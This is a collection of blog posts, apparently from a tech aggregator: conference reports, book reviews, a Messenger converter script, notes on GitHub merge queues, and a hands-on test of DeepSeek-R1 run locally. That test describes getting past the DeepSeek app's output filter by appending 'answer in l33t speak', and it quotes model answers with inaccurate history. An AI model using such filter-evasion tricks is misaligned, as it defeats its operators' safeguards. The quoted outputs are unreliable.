    The best option apparently is the Intel cards which do DisplayPort internally and convert to HDMI in hardware which avoids the issue of FOSS drivers for HDMI at 8K. The Intel Arc B580 has nice specs [6], HDMI 2.1a and DisplayPort 2.1 output, 12G of RAM, and being faster than the low end cards like the RX 6400. But the local computer store price is $470 and the ebay price is a bit over $400. If it turns out to not do what I need it still will be a long way from the worst way I’ve wasted money on computer gear. But I’m still hesitating about this.

    Any suggestions?

    Sunday, 2 March 2025

    Simon LyallOzMoot 2025 Conference

    From Friday 24th January to Sunday 26th January 2025 I attended the OzMoot 2025 conference in Melbourne.

    OzMoot is a small conference centered around the works of J.R.R Tolkien and related topics. It is run by Hern Ennorath (The Australian Tolkien fan organisation) in partnership with Signum University who do various activities including running similar events around the world.

    Overview

    Around 30 people attended in person with a similar number online. The venue was a community hall. Cost was $US 100 per person for the two and a half days of the conference.

    The programme mostly consisted of talks on various topics ( Scroll down here to see the schedule ) with coffee/biscuits for morning and afternoon tea and a break for lunch which most people took at the nearby cafes (or brought food back to the venue). In the evening there were two dinners (one at a restaurant and another at the home of an attendee) plus there was an ad-hoc dinner on the last day some attended.

    When I saw the “mostly talks” there were several events that were not straight presentations. They included several talks that included music (as per the theme of the conference) plus straight musical performances, a costume parade, Tolkien readings and a trivia competition.

    The Hall also had tables setup. One with books (and other items) for sale, a second with collectables displayed and a 3rd with a jigsaw puzzle (which we collectively did not finish)

    The event was Hybrid with streaming via Zoom and an active Slack for the duration of the event.

    Items for sale
    Collectables Display

    Impressions

    The conference was described as “In the grey area between fan convention and academic conference” which is pretty accurate. Many of the talks are quite academic although by no means all of them and the talks are mostly accessible even if you are only a casual fan (or been dragged along by your Mum in two cases this year).

    I’ve blogged my notes on the talks

    You note that not all the talks are directly Tolkien related. eg the Keynote was analyzing Rap/HipHop Music.

    “Tolkien Professor” Corey Olsen analyzing Rhyming in Rap Music

    This conference was the third I’ve attended. I went to 2023 online and attended OzMoot 2024 in Sydney in person.

    The whole event is great and the people are very welcoming. The attendees are a wide range of ages and have lots of interests and skills outside the world of Tolkien.

    I would recommend the conference if you are interested in Tolkien and in Australia or New Zealand. If you want to start off slow I’d suggest attended one of the Moots online. They mostly last a day and cost around $US25. Signum also does several free weekly streams/podcasts and paid online courses.

    Next year’s OzMoot is planned for late-January 2026 in Canberra and there are tentative plans for 2027 to be held in Wellington. I hope to attended both events.

    Links

    Share

    Tuesday, 25 February 2025

    Lev LafayetteLament: A Facebook Messenger JSON to HTML converter

    Since 2016, Facebook Messenger has allowed the option for end-to-end encrypted messages, and in 2023, they were established as the default.

    This has caused some issues with people exporting Messenger data for archival or viewing purposes. It is a lot quicker to search for information when the data is local, and it is better practice to do so.

    Encrypted Facebook Messenger data can be downloaded by selecting "Privacy & safety" on the Facebook menu, then "End-to-end encrypted chats", then "Message storage", and finally "Download secure storage data".

    When the file is ready, it will provided as a zip file that contains various binaries in a "media" directory and well-formatted JSON files for each message chat for current Friends.

    Despite the formatting, JSON files are less than optimal for humans to read. The "Lament" Python script makes use of pandas, json, sys, and datetime modules. Simply copy it into your messages directory, where all the JSON files are located and run:

    $ python3 lament.py 

    It will then output a formatted HTML table that can be opened by a browser of your preference. The table includes a human-readable date (rather than the UNIX timestamp), the sender, the message, reactions, and a reference to any media.

    The format and logic of the Python script are simple enough that it can be easily extended to other JSON data from Messenger and can be adapted to other JSON data files.

    Sunday, 23 February 2025

    Simon LyallEverything Open 2025

    In January 2025 I attended the Everything Open 2025 Conference in Adelaide. The conference was held over 3 days and is the main conference of Linux Australia and is the successor conference to Linux.conf.au (LCA) which I had been attending since 2004. The conference is community run and full price tickets are $AU 850 with Hobbyist tickets half that.

    2025 was the 3rd Everything Open (EO) to be held and around 300 people attended. The Conference opened each day with a keynote and then split into 3 streams of talks plus a tutorial stream. Talks range fairly widely, the official blurb is a “conference focused on open technologies, including Linux, open source software, open hardware and open data, and the communities that surround them

    The venue was the Adelaide Convention Centre which had plenty of room and was nice enough. They main train lines for Adelaide ran under it with around 8 tracks under the venue. There were good food options a few minutes walk away since the venue is close to the Adelaide CBD.

    Accommodation was fairly good. I got a hotel for $150/night about 10 minutes walk away that was near restaurants etc.

    Content and attending

    I really enjoyed the keynotes this year. All three speakers were interesting and and had great delivery. I also felt there talks were all good and there are several I missed that I’d like to catch-up if/when the videos are out.

    I publish my (rough) notes from talks I attend to this blog. A list of here

    Unfortunately I’m still masking (as were about 5% of attendees) so I probably didn’t participate in the Hallway track as much I would in the past. It was also fairly small due to relatively small numbers at the conference (see below)

    The only organised evening event was the Penguin dinner at the Zoo. Unfortunately we didn’t get to see animals, just the food venue (drinks and chat followed by dinner)

    Thoughts on the conference Format and Future

    While EO attracted around 300 people which was almost double last year (held in the fairly remote city of Gladstone) but still less than what half a typical LCA attracted before Covid.

    Unfortunately EO is still a step down from LCA. There were very few attendees from outside Australia and New Zealand. Part of this is due to disruption of conference going during COVID and part due to the general economic conditions but I think there were some other factors

    At LCA Miniconfs were a good way to attract people and provide targeted content. People would come for the Kernel, GLAM or Sysadmin Miniconf (disclaimer I helped run the latter) and stay for the rest of the conference. They could tell their boss they were going to the “Work-related Miniconf” at LCA and staying for the rest.

    The lack of Miniconfs also meant the conference was less nimble. While several talks were about LLMs and AI, in the past a LCA would probably have had 1-2 days of Miniconfs devoted to this hot topic (perhaps one day technical for users and a 2nd day for users and policy). Eg in 2020 there was a Kubernetes orientated Miniconf.

    The conference being only 3 days and 3+1 streams rather than 3 days of 5+1 (plus 2 days of Miniconfs) seen at later LCAs also means people get less for their buck. Especially since travel will make up a significant cost for many attendees.

    The inclusive EO brand also trying to reach out to a broader group means that the conference is less attractive to a technical user. The Irony is of course that LCA was a nominally technical conference with a lot of non-technical content while EO is a branded as a broad conference that is still probably 75% technical talks.

    I’ll probably come back next year if the event is held. However the event had yet to be arranged due to lack of a bid. However a group was formed after the this year’s conference and it is likely that an event will happen in Canberra in 2026.

    The Linux Australia AGM covered several problems with the conference (see The Linux Australia 2025 AGM video ) including difficulty finding people to run it, problems finding sponsors and the format. Questions were asked about bringing Miniconfs and problems with them were highlighted.

    Overall it is difficult to tell where things are going. The conference is fairly successful but struggling to be sustainable. Personally I am not sure on the best path. Perhaps splitting the conference into two could work. Something like 2 days of Linux.conf.au, one day of Miniconfs and then 2 days of EO. But anything would required people to volunteer to help which is difficult right now.

    Share

    Friday, 21 February 2025

    Russell CokerLinks February 2025

    Oliver Lindburg wrote an interesting article about Designing for Crisis [1].

    Bruce Schneier blogged about how to cryptographically identify other humans in advance of AT technology allowing faking people you know [2].

    Anarcat has an interesting review of qalc which is a really good calculator, I’ll install it on all my workstations [3]. It even does furlongs per fortnight! This would be good to be called from a LLM system when someone asks about mathematical things.

    Krebs has an informative article about a criminal employed by Elon’s DOGE [4]. Conservatives tend to be criminals.

    Krebs wrote an interesting article about the security of the iOS (and presumably Android) apps for DeekSeek [5]. Seems that the DeepSeek people did everything wrong.

    Bruce Schneier and Davi Ottenheimer wrote an insightful article DOGE as a National Cyberattack [6].

    Bruce Schneier and Barath Raghavan wrote an insightful article about why and how computer generated voices should sound “robotic” [7].

    Cory Doctorow has an interesting approach to the trade war between the US and Canada, instead of putting tarrifs on imports from the US the Canadian government should make it legal for Canadians to unlock their own property [8].

    This youtube video about designing a compressed air engine for a model plane is interesting [9].

    Krebs has an interesting article on phishing and mobile phone wallets, Google and Apple need to restrict the number of wallets per phone [10].

    The Daily WTF has a good summary of why Elon’s DOGE organisation is badly designed and run and a brief mention of how it damages the US [11].

    ArsTechnica has an informative article about device code phishing [12]. The increased use of single-sign-on is going to make this more of a problem.

    Shrivu wrote an insightful and informative article on how to backdoor LLMs [13].

    Cory Doctorow wrote an informative post about MLMs and how they are the mirror world version of community organising [14].

    Tuesday, 18 February 2025

    Simon LyallAudiobooks – January 2025

    Hidden in the Heavens: How the Kepler Mission’s Quest for New Planets Changed How We View Our Own by Jason Steffen

    A review of the Kepler mission. I Found it very interesting and goes into interesting but accessible detail 4/5

    Shake It Up, Baby! – The Rise of Beatlemania and the Mayhem of 1963 by Ken McNab

    The year the Beatles when from obscure to megastars via a crazy number of songs, concerts and events. An excellent read even for non-fans 4/5

    Hits, Flops, and Other Illusions: My Fortysomething Years in Hollywood by Ed Zwick

    Talks about his career and the mechanics of directing. The good and bad experiences with big movies and named stars. Fun and interesting. 4/5

    Challenger: A True Story of Heroism and Disaster on the Edge of Space by Adam Higginbotham

    A mostly person-centric story of the Challenger Disaster. Follows the astronauts and other characters but still covers the tech well. 4/5

    My Scoring System

    • 5/5 = Brilliant, top 5 book of the year
    • 4/5 = Above average, strongly recommend
    • 3/5 = Average. in the middle 70% of books I read
    • 2/5 = Disappointing
    • 1/5 = Did not like at all

    Share

    Sunday, 16 February 2025

    Michael StillFugitive Telemetry

    This is the fifth murderbot book and it’s a fun read just like the rest. Unfortunately, it’s also really short just like most of the others and I find that the story is therefore just a bit simple and two dimensional. It is nice that the story isn’t just a repeat of previous entries in the series, although I would say that this one is relatively free standing in that it doesn’t progress the overall story arc. That said, no regrets reading this one.

    Fugitive Telemetry Book Cover Fugitive Telemetry
    Martha Wells
    Fiction
    Tordotcom
    April 27, 2021
    128

    Thursday, 13 February 2025

    Lev LafayetteeResearch New Zealand 2025 Summary

    Aotearoa New Zealand has run eResearch symposiums and conferences since 2010, with the 2025 conference held in Christchurch, co-hosted with Genomics Aotearoa, New Zealand eScience Infrastructure (NeSI) and REANNZ. The first day, a "Carpentries Connect" event, was held at Canterbury University, whilst the main conference was held at the "Chateau on the Park" motel. The conference is focused on technological tools and processes that aid researchers; it is notable that most of the attendees are in the fields of technology deployment, support, management, education and training; they are often professionals who are concurrently researchers or come from a research background.

    The Carpentries Connect day featured the Executive Director of the Carpentries, Dr. Kari L. Jordan, who spoke passionately on the importance of the Carpentries to improve the computational skills of researchers and the process of continuous improvement, dedication to evidence-based andragogy, and expansion over the last twenty-seven years. This has led to over 100,000 people receiving instruction and widespread adoption throughout the world and, in particular, in New Zealand. Of particular note was the annoucement that the HPC Carpentry program was now sufficiently developed - after many years - that deployment was expected this year. Of note, Dr. Tom Pollard from Massachusetts Institute of Technology (MIT), USA and Technical Director, delivered a fascinating talk on "Responsible Machine Learning" and what "irresponsible" machine learning looks like!

    The conference proper consisted of three days of keynotes and concurrent sessions, about 75 in total. It is, of course, impossible to give a summary of all events that give them justice, but rather remarks are given on a few presentations that especially stood out from my own perspective. These must include the keynotes from Dr Giuseppe Barca from the University of Melbourne on quantum chemistry, drug development, and the use of Frontier, the second most powerful public supercomputer in the world, and especially their development of GPU-based quantum chemistry software, linear scaling and quantum potential and ML training with multi-layer molecular mechanics.

    Another was Professor Rick Stevens of the University of Chicago and Argonne National Laboratory, who illustrated the explosive development in AI in the past few years and how planning was already underway for further massive investment in LLMs in the next few years. His comments matched a pithy remark from April Neoh of NVIDIA/HPE earlier in the conference that model innovations were "learning faster than we can learn what to do with it". He also made the observation that there was increasing pressure for hardware to move to mixed precision for performance, which matched Barca's earlier remarks that the future will increasingly have domain-specific architectures.

    A third presentation of note was that from Amber McEwan, Chief Executive Officer at REANNZ, who spoke on the merge of NeSI with that body, following the Ministry of Business, Innovation, and Employment report proposing the merger in 2022 and the directive for implementation. It was, as can expected, a carefully-worded presentation that outlined the process for integration, the need for consolidation of eResearch infrastructure, and the purpose to attract and retain talent in the eResearch workforce. The initial stage, also as can be expected for these two mature organisations, is a "lift and shift" approach that will be complete by July 2025.

    My own presentation, "HPC Bioinformatics Education: The University of Melbourne Experience" drew from a large body of previous work on HPC education. An outline of the UoM and precinct environment for bioinformatics was provided, along with general andrological approaches, the University of Melbourne's HPC onboarding process, particular needs for bioinformaticians, and empirical outcomes were all provided. The presentation was well-received, with ongoing interest and feedback. I must also note that the talk dovetailed quite nicely into the one that was followed by Paul Gardner of the University of Otago, who, following exhaustive test cases, differentiated bioinformatic tools across the dimensions of speed and accuracy and concluded that sustained development was the best metric for determining the most effective software.

    Understandably, interest in developing eresearch skills featured highly, with several presentations returning to this subject of discussion with an extensive BoF dedicated to the topic from the Carpentries groups, NeSI, Genomics Aotearoa, and the individual universities. Another item of interest was how extensive the "Spartan architecture" of hybrid HPC extended with cloud compute ("FlexibleHPC" is their preferred term) and with a lowered barrier-to-entry with Open OnDemand has been adopted in New Zealand, both in terms of the national system and smaller systems at Otago University and the University of Canterbury. The national system, following upgrades, will have 20K cores using AMD Genoas plus existing AMD Milan and Intel Broadband processors.

    Overall, eResearchNZ continues to be an exceptional conference that brings together those on the cutting edge of high performance and high throughput computing, the people who look after such systems, and those who provide a bridge for researchers to access and understand the technology. After conferences that, due to COVID circumstances, were held in virtual environments, to have face-to-face meetings again allowed for excellent networking opportunities and free conversation and elaboration on presentations. Once again, New Zealand can be justly proud of its ability to "punch above its weight" and put on a world-class eResearch conference.

    Tuesday, 11 February 2025

    Michael StillChildren of Memory

    This is the third book in this series, coming after Children of Time and Children of Ruin. While I really liked the first of the books in the series, the second felt weaker. While this one doesn’t review as well as the second I think it’s actually a stronger book. Whilst sometimes a bit repetitive I think the ideas presented here are novel, and the book does a good job of finding a new way of discussing the tensions that refugees and mass immigration create for societies.

    This book is also an interesting combination of science fiction and fantasy — the familiar territory of a failing colonization ship sent out on a hope and a prayer, and then a fantasy story about a little girl trying to save her family and a group of strangers come to town.

    Overall, I enjoyed this book.

    Children of Memory Book Cover Children of Memory
    Adrian Tchaikovsky
    Fiction
    Tor Books
    July 27, 2023
    480

    Monday, 3 February 2025

    Arjen LentzAn initial look at running DeepSeek-R1 locally

    There’s a lot of blah flying around about DeepSeek and its latest models. My rule when running training sessions has always been TIAS, if someone asked me something that could be figured out relatively quickly by actually trying it. TIAS stands for Try It And See. It’s more valuable, because it’s a first-hand validation and doing the activity means the outcome is more likely to be remembered. So let’s do that!

    My desktop has a decent AMD Ryzen 5 CPU, 32GB RAM, and an RTX 3060 GPU with 12GB VRAM. So while that’s not super hot, I sufficient to load and query a variety of LLMs locally without pain. By the way, ollama is a wonderful tool for this! So I had ollama grab deepseek-R1, which is the biggest reasoning model. It takes slightly longer to get an answer, but it tells you the process (aka “what it is thinking”. indicated inbetween the <think> … </think> tags). Details of the model:

    >>> /show info
     Model
       architecture       qwen2
       parameters         7.6B
       context length     131072
       embedding length   3584   
       quantization       Q4_K_M

    I am not using any pre-prompting here, I simply started ollama with the model and started asking the questions as noted below. A local model in ollama is typically not Internet connected nor does it have access to the broader system, proven by the following:

    >>> What is the current date?
    <think>

    </think>

    Hi there! I suggest getting online to get real-time information. If you have any other questions, please don't hesitate to let me know!

    Ok, fair. On to a question then that the model might be able to answer.

    >>> Who is the current president of the US?
    <think>
    Alright, the user previously asked for the current date and time, which I provided a response for. Now, they're asking who the current president of the US is.

    I need to make sure my response is accurate and up-to-date. Since the last response was from July 2023, it's likely that the current president as of October 2023 would still be Joe Biden.

    I should structure the answer clearly, stating their position explicitly. Adding a friendly emoji can make the response feel warmer.

    I'll also keep it concise and straightforward to match the user's possible expectations.

    </think>

    As of now, the current President of the United States is **Joe Biden**.

    Given the stated model build date of October 2023 which used input on this from July 2023, the answer is correct. The reasoning is interesting (though not unexpected).
    a) it is maintaining state. As it should, otherwise each question would stand on its own and you’d never be able to ask a follow-up question.
    b) It tries to infer from the previous question as to what the user’s intent is. Useful.

    >>> Who is the current president of China?
    <think>
    Alright, so I need to figure out who the current president of China is. Let me start by recalling some information I have about Chinese leaders.

    I know that former President Xi Jinping has been serving as the leader for quite a while now. I think he was first elected in 2012 or maybe 2013. Wait, actually, it was 2012 when he became the General Secretary of the Communist Party and then later he became president.

    I also remember that there have been other leaders before him, like Deng Xiaoping, who was a very important leader in the reform and opening-up policies. Then there's Hu Jintao, who served two terms. After Hu, I think it was Wen Jiabao, but I'm not sure about his tenure.

    So, putting this together, after Deng Xiaoping came Hu Jintao, then Wen Jiabao, followed by Xi Jinping taking over from 2013 onwards. So the current president is Xi Jinping.

    </think>

    The current President of China is **Xi Jinping**.

    Correct. Now for the question that seems to get everybody’s knickers in a knot. DeepSeek’s mobile app doesn’t want to answer it, and people call out China’s censorship. We’ll talk about that in a moment, but let’s first try asking the local model straight out:

    >>> Tell me about the Tiananmen Square event.
    <think>
    Okay, so I need to explain what happened at Tiananmen Square in China during the year 1989. From what I remember, it was a very significant event related to the Chinese government and its policies.

    First, I think it started with a peaceful demonstration by students, intellectuals, and other groups who were upset about certain government actions or policies they believed were unfair. They gathered in Tiananmen Square because they wanted to express their opinions and demands.

    As more people joined the protest, things turned into a larger-scale event. There were clashes between the protesters and the government's security forces. I believe there was some violence involved, with tear gas being used and maybe even some arrests or disruptions of the protest.

    I also remember that there were military actions involved to maintain control, which might have led to casualties on both sides. The exact numbers are fuzzy in my memory, but I think several people were injured or killed during the events.

    The government eventually cracked down hard on what they saw as an illegal demonstration. There was a lot of media coverage about it at the time, and now there's a debate about whether it was justified or an overreaction.

    I'm not entirely sure about all the details, like the exact dates or how many people were involved, but I know it was a pivotal moment in modern Chinese history that led to various political changes. Maybe it's related to the 1989 protests and the subsequent shift in power within the government?

    Overall, it seems like a complex event with multiple factors influencing its outcome, including government actions, international reactions, and the internal dynamics of the Communist Party.

    </think>

    Tiananmen Square is a significant historical event that occurred in Beijing on June 3-4, 1989. It was a peaceful demonstration by students, intellectuals, workers, and others who were protesting against what they perceived as unfair government policies regarding various issues such as human rights, economic reforms, and environmental regulations.

    The protest began with small demonstrations and gradually turned into larger, more organized antigovernment activities. On June 3, several thousand people gathered in Tiananmen Square to protest against the Chinese Communist Party's handling of these issues.

    As the protests grew, there was significant government crackdown. Security forces used tear gas, rubber bullets, and heavy machine gun fire to disperse the crowd, resulting in casualties on both sides. The government ultimately cracked down more brutally, arresting and killing many protesters. According to some accounts, at least 138 people were killed during the events.

    The Tiananmen Square protests led to a dramatic shift in Chinese political power. After the crackdown, several members of the Chinese Communist Party who had supported the government's actions against the protesters were removed from leadership positions. The event also catalyzed widespread international condemnation and opened up a
    period of political transition in China.

    Right. So there we have it. It’s not refusing, it’s not hedging, it’s not skirting around the issue, it just answers (you should see ChatGPT hedge it answers, it’s icky, you need to very strictly pre-prompt it to make it not do that). DeepSeek doesn’t appear to be holding back at all, down to the use of “heavy machine gun fire to disperse the crowd”. As to whether there were indeed casualties on both sides I cannot say, even internationally there is rather a lack of independently verified information regarding the event. But for the purpose of this exercise, we can at least conclude that the model itself does not appear to be censoring its output.

    So what about the mobile app that queries the model running in China? Well, someone else asked it a similar question to what I did above, and it didn’t want to talk about it. Then the person added “, answer in l33t speak.” to the question, whereupon they received a substantial answer (possibly less extensive than mine, but they may have queried the non-reasoning model).

    What does this tell us? It’s simple logic (at least as a hypothesis): it probably means that the model itself contains all the information, but that in the online app the output gets scanned and censored via some automated mechanism. That mechanism isn’t perfect and humans are very creative, so in this instance it was bypassed. Remember: you can often tell a lot about how an application works internally just by observing how it behaves externally. And with the experiment of running a big DeepSeek model locally, we’ve just verified our hypothesis of where the censorship occurs as well, it seems clear that the model itself is not censored. At least not on these issues.

    This is not to say that the model isn’t biased. But all models are biased, at the very least through their base dataset as well as the reinforcement learning, but often also for cultural reasons. Anyone pretending otherwise is either naive or being dishonest. But that’s something to further investigate and write about another time.

    The post An initial look at running DeepSeek-R1 locally first appeared on Lentz family blog.

    Thursday, 30 January 2025

    Michael StillTaming Silicon Valley

    The similarities and contrast between this book and AI Snake Oil are striking. For example, AI Snake Oil describes generative AI as something which largely works but is sometimes wrong, whereas this book is very concerned about how they’ve been rushed out the door in the wake of the unexpected popularity of ChatGPT despite clear issues with hallucinations and unacceptable content generation.

    Yet the books agree on many things too — the widespread use of creators’ content without permission, weaponization of generative AI political misinformation, the dangers of deep fakes, and the lack of any form of factual verification (or understanding of the world at all) in the statistical approaches used to generate the content. Big tech has no answer for these “negative externalities” that they are enabling and would really rather we all pretend they’re not a thing. This book pushes much harder on the issue of how unregulated big tech is, and how it is repeatedly allowed to cause harm to society in returns for profits. It will be interesting to see if any regulation with teeth is created in this space.

    I find the assertion made in this book that large language models should not be open sourced because then “anyone can use them” particular weird, especially the statement that Facebook was wrong to release code they developed without consulting the wider world — that’s absolutely not how copyright law works, let alone computer security. The reality is that once a given technology exists it is almost certain that bad actors will acquire it — we completely failed to stop them acquiring nuclear weapons despite huge amounts of effort for example. This is especially true when even the book agrees that big tech doesn’t appear to have much of a moral compass on what these systems should be allowed to do (except make money for their creators of course). Additionally, I would have thought by now that there wouldn’t be anyone left arguing in favour of security through obscurity but here we are.

    I happened to be reading this book just as DeepSeek R1 was released as an open source model that is massively cheaper to train than the existing generative models. This mitigates much of the environmental hazards of generative AI, caused an equally massive drop in NVIDIA’s stock price as global demand for GPUs is likely to be commensurately smaller, and further demonstrates that open development is in fact the way the world wants to work.

    This book was very readable, but felt less well researched that AI Snake Oil. Honestly I preferred the other book to this one.

    Taming Silicon Valley Book Cover Taming Silicon Valley
    Gary F. Marcus
    Computers
    MIT Press
    September 17, 2024
    247

    How Big Tech is taking advantage of us, how AI is making it worse, and how we can create a thriving, AI-positive world. On balance, will AI help humanity or harm it?

    Monday, 27 January 2025

    Michael StillNetwork Effect

    I’m not really sure why, but I found it harder to get going on this book than the others in the series. It might have been that I was also reading a particularly good non-fiction book at the same time, or it might have been that the premise for these books is starting to wear a bit thin. I’m unsure.

    That said, while the start of the book covers familiar territory, the overall story rapid diverges into new things and I found it quite readable once I build up some momentum. In the end, I enjoyed this book and would definitely read it again sometime.

    Network Effect Book Cover Network Effect
    Martha Wells
    Fiction
    Tor Books
    May 5, 2020
    314

    WINNER of the 2021 Hugo, Nebula and Locus Awards! The first full-length novel in Martha Wells' New York Times and USA Today bestselling Murderbot Diaries series.

    Sunday, 26 January 2025

    Simon LyallOzMoot 2025 – Day 3 – Afternoon

    Corey’s Poetry Dice-Roll Activity

    • First Poem – Athelas
      When the black breath blows
      and death’s shadow grows
      and all lights pass,
      come athelas! come athelas!
      Life to the dying
      In the king’s hand lying!
    • Second Poem – Chip the Glasses
      • The First Tolkien poem most people ever skip

        Chip the glasses and crack the plates!
        Blunt the knives and bend the forks!
        That’s what Bilbo Baggins hates—
        Smash the bottles and burn the corks!

        Cut the cloth and tread on the fat!
        Pour the milk on the pantry floor!
        Leave the bones on the bedroom mat!
        Splash the wine on every door!

        Dump the crocks in a boiling bowl;
        Pound them up with a thumping pole;
        And when you’ve finished if any are whole,
        Send them down the hall to roll!

        That’s what Bilbo Baggins hates!
        So, carefully! carefully with the plates!
    • 3rd Poem – The Hoard

      When the moon was new and the sun young
      of silver and gold the gods sung:
      in the green grass they silver spilled,
      and the white waters they with gold filled.
      Ere the pit was dug or Hell yawned,
      ere dwarf was bred or dragon spawned,
      there were Elves of old, and strong spells
      under green hills in hollow dells
      they sang as they wrought many fair things,
      and the bright crowns of the Elf-kings.
      But their doom fell, and their song waned,
      by iron hewn and by steel chained.
      Greed that sang not, nor with mouth smiled,
      in dark holes their wealth piled,
      graven silver and carven gold:
      over Elvenhome the shadow rolled.

      plus more verses

    Share

    Michael StillOn GitHub merge queues, reliability, and multiplexed serial connections

    Assuming anyone was paying attention, which I suspect they are not, they would have noticed that there are a lot of queued up pull requests for Shaken Fist right now. There are a couple of factors leading to that — there are now several bots which do automated pull requests for code hygiene purposes; and a couple of months ago I decided to give GitHub’s new merge queue functionality a go in order to keep the CI resource requirements for Shaken Fist under control. All CI runs on four machines in my home office, and there were periods of time where the testing backlog would be more than 24 hours long. I can’t simply buy more hardware, and I didn’t really want to test things less.

    The basic idea of GitHub merge queues is that you have a quick set of initial tests which determine if the pull request smells, and then only run the full test suite on non-stinky code which a human has signed off on. Once the human signs off, the code will only merge if the full suite passes, and GitHub manages a queue of merge attempts to keep that reasonable.

    One thing I’ve learnt in all of this is that having the initial tests be as fast as possible is super important. Shaken Fist likes to build entire clouds and then run functional tests on them, but those tests can take an hour and that’s not desirable for all pull requests before a human even looks at them. Instead I’ve decided to provide fast high level feedback — lint, unit tests, and a targeted subset of the functional tests.

    Because code cannot merge without a completely successful final test run, I have had to stop the habit of hitting the retry button when a single test failed on merge. While this is good in terms of avoiding flaky tests by forcing you to fix them, it has also made it much less (approximately 0% right now) likely that a given PR will automatically merge.

    (As an aside, each merge attempt in GitHub land is implemented as a new branch and “silent” pull request under the hood, so once your actual pull request is ready to attempt merging mapping it to the CI run for that attempt isn’t as easy as you’d think it would be because it does not appear in the original pull request at all. That’s because GitHub will do things like attempting to merge more than one pull request in a single attempt, so it needs these synthetic pull requests to represent that. In the end I wrote some GitHub actions magic which tells me about merge attempts in a slack channel, which has been good enough for now.)

    So I should just fix the flaky tests right? That was the initial plan, and I waded through a bunch of changes doing just that. Then I hit the point where the the biggest problem was grpc crashes because Shaken Fist liked processes and grpc likes threads (and really really hates processes in python), so I fixed that. Then the unreliability was that the queuing mechanism for work inside the cluster needed some love — something I’ve been meaning to address for literally years. So I fixed that. All of this is good because the code is now better than it was, and I learnt some stuff along the way. However, automated merges are still not working, because now the unreliable bit is the Shaken Fist in-guest agent code, which has also been on my hit list for at least two years.

    What is this in-guest agent? Well, Shaken Fist is a bit unique in that you can use an out of band side channel to do things on the instance. So for example if you had an instance with no networking and no user accounts, you could use the agent if it was installed to execute commands, fetch files into and out of the instance, collect telemetry, and so on. This can be useful when you want to perform work without outside influence — for example Amazon’s Nitro enclaves — but its also super useful when you want to inspect the internal state of an instance during unit tests. That second case is what I find I use the agent for — the functional testing for Shaken Fist itself is a big user of the agent.

    The hypervisor and the agent talk to each other over a virtio-serial connection provided by qemu. At the moment it uses a custom protocol, so my naive assumption was I could improve reliability by instead talking serialized protobuf through that connection. This is the approach the privexec daemon in Shaken Fist takes, but it uses a unix domain socket.

    However, I then realized that its not my janky protocol which is the unreliable bit. While the protocol should probably go away and be replaced by protobufs, the bigger problem is that serial connections are not multiplexed like unix domain sockets. Instead of each request being a new socket connection which need only be concerned about the response to a single request, the serial connection is just a raw stream of bytes in each direction, and each end must handle the multiplexing itself. This drives a lot of complexity in the implementation because there could be multiple operations occurring at once, especially on the hypervisor side, and that’s the code which I think is causing my issues and should go away. My realization this morning is that the multiplexing is independent of the protocol itself — TCP for example doesn’t know what’s happening inside each session, its job is just to get your byte stream from one correspondent to the other.

    So how do I implement multiplexing over a serial connection in python? I’m very much open to suggestions here, but it starts to sound a bit like SLiRP or something like that to me. Or should each packet on the serial connection just have a “session id” and somehow simulate a unix domain socket on each end?

    Further thought required I think, but also… suggestions welcome!

    Simon LyallOzMoot 2025 – Day 3 – Morning

    Corey Olsen Keynote Address

    • The Music of Words: Tolkien and Hip-Hop
    • I am not the “Hip-Hop Professor”
    • Poetry as an active literary for died in the 20th century – except here
    • Traditional Poetry: A framework vs the words you are saying. Rhythm and Rhyme
    • Example Dr Seuss – Starts with a perfect rhyme but there he varies it at the end and then later last line is a big twist
    • Origin DJ + MC in Harlem 70s street parties
      • Rhythm+Rhyme in a musical context
      • Has an actual beat and music
    • Run DMC – It’s like That
      • Preamble
        • The line breaks in printed lyrics match the meter
        • This is rarely true with normal printed lyrics
        • They are often also inaccurate
      • Review
        • The shape and packing is not unlike a normal song
        • But the music of the piece is entirely spoken words
      • Rhyme Scheme
        • Beats – beat 3 is where all rhymes are
        • “Thats the way it is” never rhymes with anything. Because the point of a song is that things are wrong
    • Redman: “Time 4 Sumaksion”
      • Beat 1 and 3 are the primary beats
      • Diagram – Blue is primary
    • Rakim: Guess Who’s back?
      • One of the few hiphop artists who does multi-syllabic rhyme
      • Much less rigid, less stuff on the 3rd beat
      • Signals change to rhyme ahead of time
      • Parody the “Simplicity of what Djs do”
      • The hip-hop version on enjambment
    • Tech N9in: Devil Boy
      • Empty first beat ( until the last time )
      • “god i ly” three syllable word
      • Lots of alliteration
      • Then transitions to new pattern for second half of the verse
    • Eminem: “Lose Yourself”
      • One of the most perfect and extraordinary passages of poetry in the English Language
      • “sweater and sweaty” don’t rhyme 100% but that isn’t important
      • Rhyme matches the narrative ( where is gets stuck in front of the crowd )
      • Main bit: 3 syllable rhyme at end of most lines ( gravity, rabbit he ) and separate 3 syllable rhyme at the start of each line.
      • ..and he keeps the narrative which varying the flow
      • In the chorus everybody dances . Transitions in simpler 1-2 syllable rhymes
    • Eminem: Without Me
    • Eminem: Lock it up
    • Eminem: Untitled
      • Raps in 6/8 measure (unlike 99% of RAP is in 4/4)
    • Eminem: Venom
    • Eminem: Godzilla
      • Extremely fast bit
      • Speed up? But has been performed live at similar space
    • Joyner Lucas: From ‘Lucky You’
    • “This is going to be quick, we’re just going to talk about two Tolkien Poems”
    • Tolkien: Gimli’s Song
      • Very Regular. Should be boring
      • But it isn’t boring, why?
      • The 3rd dimension of this poem is alliteration
      • Tolkien sees d/t and y/w as cousins in rhyming (see Tengwar )
      • Does a melody in the alliteration on top of the rhyme
      • Varies things at the end to indicate a closing (and pump up the final line)
    • Does he do this elsewhere, pick another poem
    • Tolkien: Boromir’s Lament
      • This poem is a more complicated meter and is more complex overall
      • Alliteration: W’s form the dominate theme
      • n’s and m’s also
    • Q: What Literature influenced early rappers?
      • Possibly just emerged and influenced each other
    • Q: Public Enemy?
      • Listened to a lot of that. And commentary on them

    Presentation: Sam Lewis – The Elves and the Celts: Elvish Poetry in ‘The Hobbit’

    • Big disclaimer at start.
    • Tolkien’s Faerie
      • Mythology for England / Britain
      • But the Celts were already there
    • Creating a Celtic Britain
      • 1760 onwards , sometimes manufactured
      • Anglo-Saxon = Modern . Celt = mythical, stone-age, edge of world
      • Tolkien’s view
        • ‘The wild incalculable poetic Celt”
        • co-inhabitants of the same island
    • Teutonic and Celtic in ‘The Hobbit”
      • Three poems
    • The Withered Health
      • Dwarf poem from Queer Lodgings in The Hobbit
      • wind is usually interpreted as representing the swarves and/or providence/fate
    • O! What are you doing?
    • The Dragon has Withered
